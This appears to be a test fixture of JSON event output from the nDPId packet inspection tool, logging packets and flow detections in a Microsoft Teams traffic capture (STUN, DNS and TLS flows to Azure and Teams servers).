+00425{"flow_id":63,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2449,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":953200,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyWEVIVrYCWNJWGIoAQECd61AAAAQEICjCE1uoTeUE\/"} +00497{"flow_id":63,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2450,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041692,"pkt_ts_usec":953966,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"EBMx8Tl2KDc3AG3ICABFAABnAABAAEAG+drAqAEGp2PXpOyWEVIVrYCWNJWGIoAYECdxjAAAAQEICjCE1uoTeUE\/FAMDAAEBFgMDACgePBs\/C2EWA291JuO3YkDgacglhK1S7Nmn4LfYvs\/WgbNRA6YYJi6T"} +00423{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2451,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":63122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HBRAADQG6fmnY9ekwKgBBhFS7JY0lYYiFa2AyYAQAfqIYAAAAQEIChN5Qa0whNbq"} +01704{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2452,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":63205,"pkt_caplen":1012,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1012,"pkt_l4_len":978,"pkt":"EBMx8Tl2KDc3AG3ICABFAAPmAABAAEAG9lvAqAEGp2PXpOyWEVIVrYDJNJWGIoAYECdb9QAAAQEICjCE11cTeUGtFwMDAycePBs\/C2EWBHZqdpg3lOYecM4psKzphPsK1eYXmL23nMT7IhIfTvLySYYqW9+HMXxLHnkgAudHUd8JoW4t6qRncvY3IoJEUSCBKRIlO9DsgyFRBxHaolDfmMxxHZafY1VlhGHtpM4oKCVnJxqowY6Bb6uD3L9NE02EfYrQudKy85z4BalSO8BMQZIyNrHgHuBlfvVzXuenXm28fI6X4fB6pa20\/MGlcfLGKdh5bVTosKRARTRlzixhU97rIV4C6B7OswAxZEfG8FUEJsb2MLssPGnb6aKhpj\/7drZkh8rmkaQ8HBGP5IfTl89TXyo9\/rDUktlplWN5GD0LAzRtSuJyfwh52DwDQSmbnCGQPcquU5C7hdraynu36lP4lsq0HqBbiZzs03ftehFwS9wUpZqZbBnDdGTtydYUUJCZDfssD2JQGxX5fjmzmInk+j2i7ZNQNwJpUyzeC91WEhBRQlN5rfYRPxJyMJlQ0QHMww9xHzJtBiLhfwMBH49ZgQSVNU9P8SddSLLKW8cwmV8GvlOcOuKT6TYnj6Qc7tOVntXC4OrpGVfJRDq7WyLqD6RhAqLQpU2NMmbb\/pbapPvCVoldR+Myn68xb5K+2b8+ViPS9gSom8Dk7UJF1xIJNa3eXeFXeEyiMhmjU0Q0sXcZfW1uMornSa\/zGS+9urNhBZCUcFuETHxsHe2m2lOPKRttCdXE7q6loIAHbyC3R9f1FiKgwyy\/yZjksXbIsULDLK8zBorzYVrWCTSy6UZdJy40R7mYy7X0MaSvuODOZoiEFqCM4HYTApkQyQ\/66\/RN+itsK8kEdYgZrxLcjf4khmLbudYo2Ol5fqCe0cHPzNt2XODoQS3ukshglxBajROwY\/e7qYGB3hIsEACXCfXq7BBoh8AYCK2ZnHTmeytlc+ilDUpxTGJv16O\/2fVLYSSh3RDLydWxDftCQxidSc9I92TZKAazg+lhm8FebH19hGV1DB2HIiqlnldkJ2qcFlx6oatgZMoG5sSRGmRDRMUWFAvTkx1txJdO9m1gNvbZ0Pg+Cf9H1oVfXmhkgbrDYXxjjeAMVtVr2gm16JgXAwMAgR48Gz8LYRYF1UfzZXVluvxHFvv5uG6g3m1eFKcNzrn1zuRHVHhSxB86DYF75+9edBzMi8xWPUieXm3hTr7Cw+8RWbhrF8KAn5dtdRi6i3hDr7YnVbKFUCuw2ERCF5oKjIQqGGhOZqpLSQQGHsJpXds4y+k6uPi+oQ3M1d+sTQv1kQ=="} +00425{"flow_id":63,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2453,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":131635,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0HBVAADQG6finY9ekwKgBBhFS7JY0lYYiFa2Ee4AQAfWEAgAAAQEIChN5QfEwhNdX"} +02096{"flow_id":63,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2454,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":332385,"pkt_caplen":1291,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1291,"pkt_l4_len":1257,"pkt":"KDc3AG3IEBMx8Tl2CABFAAT9HBZAADQG5S6nY9ekwKgBBhFS7JY0lYYiFa2Ee4AYAfWqGgAAAQEIChN5QrkwhNdXFwMDBMR6yHy+1hHfRnWe2Z+VHlW8uSWmUYf7cLMllEV+oOio8AYtz3DgEouKRmVYpqFNxngiWnYarqSXdlKa5dDAU0z8UNEvoG1B9rgGWXz\/wg\/2PmzXB1I42qW4\/W216XtZl76qTUwZEpag\/aAyn5IrEYp7HyLn1jw3\/rr0V1RYXIcjCDxPtRGypS6A43n+Zd1HQGKu81g39UAB37IGQp\/FMk3gDhpGi9wPdiRW1mTqrcyVgZeir8b7gRWbXoO4lzOyC3uDiHNBOUHmc4I\/0uNv6LoauOx8vF1Wj8EpdeWG1ryHo0qt3yFtcRGXNl\/SMh5pnnoJN028a6CbZeKqUgMWptmEguOIXRfevIDHDU6mC5KCmD6lBVdGbUf6iYZpYhLJr3Lr2JGMpxcUA+xTEFif26dDRsEnxAhFpxWUbO\/2WWUyR\/fHLoSYGhbXdUbH3l5Af5rIo9HulJFlhjDUXoi92GXs3eYcVSgzNw0IKpRtiykmCBIjDNGy1+i+\/NMc4ZH7Z\/fgfP03c+IJMSCE4o9uMrxoIGIcs9wu4EN0QUFE2RPO\/+EjXTSb4pIy66lwT376WziHUf\/fi+J3WpcalQHy+PNTrWR7xf7K8JAEwWzyI98SMqxyHnpQCEe14GWIj5f4xDJq2STAmJE9FTVPWKAWaasgD7Mf35zCK7e4YLwbkGjzG3vrzY7psubW1QhrsA53Dk9BfYgQ1eSxRZDdu1PRu\/Sh40Oh+BOfjOpvPtI55KOIiaHerWAELDPyx3Ps9AH+hb8Qifj1OulYzp0BCmLku3ArqmYAHjCjG1\/4+5Gcq5hiKIoXNj\/k+FMZTHg9GJACrXdUm9EXEjZ8hm0z4U\/5tbtt8N4zbO9q5896+LLyrB9hFTKSqKwEwL2he8AtstySNaUFZG8MxMqv1JjeXOrshdzhskYScw1A5sumUYg1qLpPmi2VU5bIjP7TYV3apZoI34FfoKHd0yZxWqQUOJDU\/AFKsQRNVEE2y1gLfsN7c\/idf1fa6rkSjaD56yNJKQL\/R4yOylA2rSj1Nr9vbU80q+MDvLuPVO\/p6VjF\/HoJJlxqhbnVmu37kLA8gjaNUWmJzRwkVt\/39kRdYu0aZM+CcuLK9MCLAcUIXeiWSj\/OdWGlsmw88+6cnSl7oSPkz+aj9JeAUmNEgFbThXnRYkRpvILy4Ynqz5BtpNQsZBiF49kzoyIeR35aD+SzhQmsTiKdZqWXdi7yDJjdoZXyeeC6580aKHE7kis1rOh4c4HUxHK+ZDI3nEw9K5GCUAD4kV3\/hhyS2zPcN4lprikZjHJtHqPBx4gVB\/jlhr6JOgADsiHXpH+IbQLFR8zETNE0MbGKks1zkrYXQ5QtO4Xa02HTV0zsWO7TTSaEpCKsGjMThV++lmq1VRSuxOGfjUDff69LTHejwINO7p20f6ZMrvAbMhKVKuUmnmL55k6NakFeANmldTo4KBD7HVpnwZiyWP3VqvPnJ2rbPnAoobHVDJ9dcliinnvqy+7c6aeytjk46xxPtELt2JnNeMJ3f9jumuuOAUGEHlnNO8D2VZT7aBFgZHKFKH2jcRPn2VG2MCDghZz9njaybtK\/1JwPsG6oceLYjNAwu0FTYqxB\/vVUHohMG2wXVcTJAg=="} +00425{"flow_id":63,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2455,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":332477,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+g3AqAEGp2PXpOyWEVIVrYR7NJWK64AQEABvXQAAAQEICjCE2GATeUK5"} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2463,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":412749,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2463,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2464,"source":"teams.pcap","alias":"nDPId-test","flow_id":64,"flow_packet_id":1,"flow_first_seen":1587041693428,"flow_last_seen":0,"flow_tot_l4_data_len":985,"flow_min_l4_data_len":985,"flow_max_l4_data_len":985,"flow_avg_l4_data_len":985,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.136","src_port":51681,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01722{"flow_id":64,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2464,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":428391,"pkt_caplen":1019,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1019,"pkt_l4_len":985,"pkt":"EBMx8Tl2KDc3AG3ICABFAAPt48gAAEART4\/AqAEGNHJNiMnhDZYD2eNwBl3+t6o2WT+OKw\/oTFMopoursiGTBsvvLvg3wuBfZT1pBB1vO2396s1T+U1VujmCqj4L5tMtU2F\/1TQzFXSUlw7M8VMfNQQRkYM68GVjRmInITISf9xExqdFNNQs5RQE95Yd7wUQ0WB34xO5EY6WIo8x\/N\/uDXPR3dWPSffY9Pjxt3AuIhSE\/33TPi9IZfwvBkn0Ytl+OD1doGxH0KzkYpDzBS9hB1dBsT+zr8uYQ4OitShMofb6WewMwiNNfNExsV6iWN3hyOrqzEPoHJ8xMa7bW1q9BLkbd5BDoIOv\/MoJUwfM2rHFjSZuGzr\/wQ6fSJlA+ga+XWQ5cCOxemM862mQg5uhFhBag2VuzDKpysLY0ZCqnKz91R2yhrxoXReoN9yIxCUIquc7SAW\/92cRId8y07O6L1X8x\/aDl3FC0Al6caV7h\/r8ddpLTlDH6yLNlYfOWE7QuJLs4lty891N9hHky+P7SbB6VN0+eXLlpdIKbixmAmCZ1p6\/DFecrkQrfBusU7fCQ0m5UtC7A9xyYw8qrbidfp8KJduef6Xu3BA4D0YD6FFqNyrfEvkjpJ+3rNXlm\/vqN6+pA7Pyjrxbc8hNlLHZHBWyirKyjtN28dUXzlP+LsRPGNdQvqJFK3pV96V25LmYF5yiAGBc2dVjL3CV3I8BZIc1iv9PSXq8u5cmF3NAvFW+ejj0aUJys0KqSuB+SsBchm0XJNdD1T31o3cnzHzdRkPqsYgQxN+TMH4xz2ipnYwRm5mpiVbDbtght4DZhZkINSjZm+P+w6KJ1sJkRZyTcItShxjipY0pc0YcI\/iPO8Kihnfm0h7aZYr8JbNTXfrRfggxMyqgTWxlobhHKsiboGB5nz9mqNXgN5f2w6aCT8Ygr4J\/d\/M8CNiCRT+CKMTqRpDBqIcnsL3KBgSmI2li51fHmCYLknW2Aw3F82bIDyzOvtteFfeZxum8+GIS5JvJh64JDL9hUaT9FEJ6txlWLszG+bg1use4IiVMiF2jfKWFA1eFZRDjiQXrMStv0vPT1Ma73OvVsZAHSptss39ti+ltbCNxC0S+MDiB1jQrFVUZ5nHLM44PsanYQ\/0cpyVO6zbbzjzXTUfs+tAIMkUNPFZtCs1rFpKhkI3NcGs+yvSb4SV1GxhoDHVRpRNuKqFbFinCHp\/37lAaE9HGUTnfhxGhnCIfOfHIUUAT3eHul9H3b0Z8OnLYIK1ZDLQGkd0pzOUxUVHtQtXMulhXsHz7fr\/A21yG\/8b8NgTEX+gU6e+h1l0XisCpHYMfVCMz3mHn3ia\/HdLRjG51YnI="} +00444{"flow_id":64,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2480,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":474528,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBNJIAAGwR1nE0ck2IwKgBBg2WyeEALeCzAzNiZmY2YTE1LTY4NDEtNDYwNy04YzI3LTllY2ViOWVlZDkzYg=="} +00659{"flow_id":64,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2481,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":475613,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"KDc3AG3IEBMx8Tl2CABFAADdNJMAAGwR1dQ0ck2IwKgBBg2WyeEAyV65B51cqyKYlOqfHC4eUj71t0+3OzD2kNc2OfFPQNt7fwvuOZltdCnrcr0l94iSgE3VeMj4bdDb+vZ+CObqTNO+QGlUnkV8bcknbNvGUx42nvxp8mhw\/srnkVApKnhDe\/uy29skE82ON2NOubAQd6VBKyo6DT6MaE1A1qjybrSe5XwDrj8OJ1EA\/FUFx\/b063Ar395Oi1sw+DBTZ16KUXaymVRCSFNXRrfz6yWlsSmdtxTLQfpVrW5dlejTUGgaSVxvSg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2482,"source":"teams.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1587041693515,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50016,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00487{"flow_id":65,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2482,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":515047,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"EBMx8Tl2KDc3AG3ICABFAABg5p0AAEARo1PAqAEGNHL6e8NgDZYATAKlAAMAMCESpEKyND9uZ\/QdWKy6Y58ADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAI="} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2482,"source":"teams.pcap","alias":"nDPId-test","flow_id":65,"flow_packet_id":1,"flow_first_seen":1587041693515,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50016,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2483,"source":"teams.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":1,"flow_first_seen":1587041693516,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50018,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":66,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2483,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":516414,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGShzAqAEGNHL6e8NiAbvwxDFFAAAAALAC\/\/9VoQAAAgQFtAEDAwUBAQgKMITZEwAAAAAEAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2484,"source":"teams.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1587041693517,"flow_last_seen":0,"flow_tot_l4_data_len":75,"flow_min_l4_data_len":75,"flow_max_l4_data_len":75,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":55765,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_id":67,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2484,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":517336,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"EBMx8Tl2KDc3AG3ICABFAABfDxsAAP8RKRvAqAEGwKgBAdnVADUASzsZd8IBAAABAAAAAAAAEmItdHItdGVhbXMtZXVuby0wNQtub3J0aGV1cm9wZQhjbG91ZGFwcAVhenVyZQNjb20AABwAAQ=="} +00669{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2484,"source":"teams.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":1,"flow_first_seen":1587041693517,"flow_last_seen":0,"flow_tot_l4_data_len":75,"flow_min_l4_data_len":75,"flow_max_l4_data_len":75,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":55765,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"b-tr-teams-euno-05.northeurope.cloudapp.azure.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00587{"flow_id":67,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2485,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":530810,"pkt_caplen":185,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":185,"pkt_l4_len":151,"pkt":"KDc3AG3IEBMx8Tl2CABFAACrU5xAADkRak7AqAEBwKgBBgA12dUAlwAAd8KBgAABAAAAAQAAEmItdHItdGVhbXMtZXVuby0wNQtub3J0aGV1cm9wZQhjbG91ZGFwcAVhenVyZQNjb20AABwAAcAfAAYAAQAAAAUAQARwcmQxDmF6dXJlZG5zLWNsb3VkA25ldAAGbXNuaHN0CW1pY3Jvc29mdMA6AAAnEQAAA4QAAAEsAAk6gAAAADw="} +00692{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2485,"source":"teams.pcap","alias":"nDPId-test","flow_id":67,"flow_packet_id":2,"flow_first_seen":1587041693517,"flow_last_seen":1587041693530,"flow_tot_l4_data_len":226,"flow_min_l4_data_len":75,"flow_max_l4_data_len":151,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":55765,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft","breed":"Safe","category":"Cloud"},"dns": {"query":"b-tr-teams-euno-05.northeurope.cloudapp.azure.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00426{"flow_id":66,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2486,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":561382,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0nZBAAGwGgJc0cvp7wKgBBgG7w2KOQNor8MQxRoAS\/\/8u4wAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":66,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2487,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":561493,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGSjTAqAEGNHL6e8NiAbvwxDFGjkDaLFAQIABPogAA"} +00667{"flow_id":66,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2488,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":561676,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"EBMx8Tl2KDc3AG3ICABFAADjAABAAEAGSXnAqAEGNHL6e8NiAbvwxDFGjkDaLFAYIADs+gAAFgMBALYBAACyAwNemFWdM\/wbLFSI3dPgZpkO7ysDE3\/GJlDQM9ZmaeyX\/AAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAXQAAACAAHgAAG2V1YXoudHIudGVhbXMubWljcm9zb2Z0LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00775{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2488,"source":"teams.pcap","alias":"nDPId-test","flow_id":66,"flow_packet_id":4,"flow_first_seen":1587041693516,"flow_last_seen":1587041693561,"flow_tot_l4_data_len":303,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50018,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"euaz.tr.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00650{"flow_id":65,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2489,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":572678,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"KDc3AG3IEBMx8Tl2CABFAADXfJQAAGwR4OU0cvp7wKgBBg2Ww2AAw6emARMApyESpEKyND9uZ\/QdWKy6Y58ADwAEcsZLxoAIAAQAAAAGAAkAPQAABAFUaGUgcmVxdWVzdCBkaWQgbm90IGNvbnRhaW4gYSBNZXNzYWdlLUludGVncml0eSBhdHRyaWJ1dGUADgAIAAENljRy+o0AFAAUAk7L+IJ6YNZTBt6\/p32H0UQC3V0AFQAKInJ0Y21lZGlhIgABAAgAAQ2YNHL6jYCVAAh\/IMTdT4SN+oAgAAgAAcHVcadqCg=="} +00659{"flow_id":64,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2490,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":576546,"pkt_caplen":235,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":235,"pkt_l4_len":201,"pkt":"KDc3AG3IEBMx8Tl2CABFAADdNJQAAGwR1dM0ck2IwKgBBg2WyeEAyV65B51cqyKYlOqfHC4eUj71t0+3OzD2kNc2OfFPQNt7fwvuOZltdCnrcr0l94iSgE3VeMj4bdDb+vZ+CObqTNO+QGlUnkV8bcknbNvGUx42nvxp8mhw\/srnkVApKnhDe\/uy29skE82ON2NOubAQd6VBKyo6DT6MaE1A1qjybrSe5XwDrj8OJ1EA\/FUFx\/b063Ar395Oi1sw+DBTZ16KUXaymVRCSFNXRrfz6yWlsSmdtxTLQfpVrW5dlejTUGgaSVxvSg=="} +00444{"flow_id":64,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2491,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":576566,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBNJUAAGwR1m40ck2IwKgBBg2WyeEALeCzAzNiZmY2YTE1LTY4NDEtNDYwNy04YzI3LTllY2ViOWVlZDkzYg=="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2492,"source":"teams.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1587041693582,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50036,"dst_port":3478,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00486{"flow_id":68,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2492,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041693,"pkt_ts_usec":582165,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"EBMx8Tl2KDc3AG3ICABFAABgF74AAEARcjPAqAEGNHL6e8N0DZYATEppAAMAMCESpEI9x0RmdejywONbcT4ADwAEcsZLxoA3AAQAAAACgAgABAAAAAaABgAEAAAAAQAQAAQAAC7ggFUABAACAAI="} +00504{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2492,"source":"teams.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":1,"flow_first_seen":1587041693582,"flow_last_seen":0,"flow_tot_l4_data_len":76,"flow_min_l4_data_len":76,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.250.123","src_port":50036,"dst_port":3478,"l4_proto":"udp","ndpi": {"proto":"STUN.Teams","breed":"Safe","category":"VoIP"}} 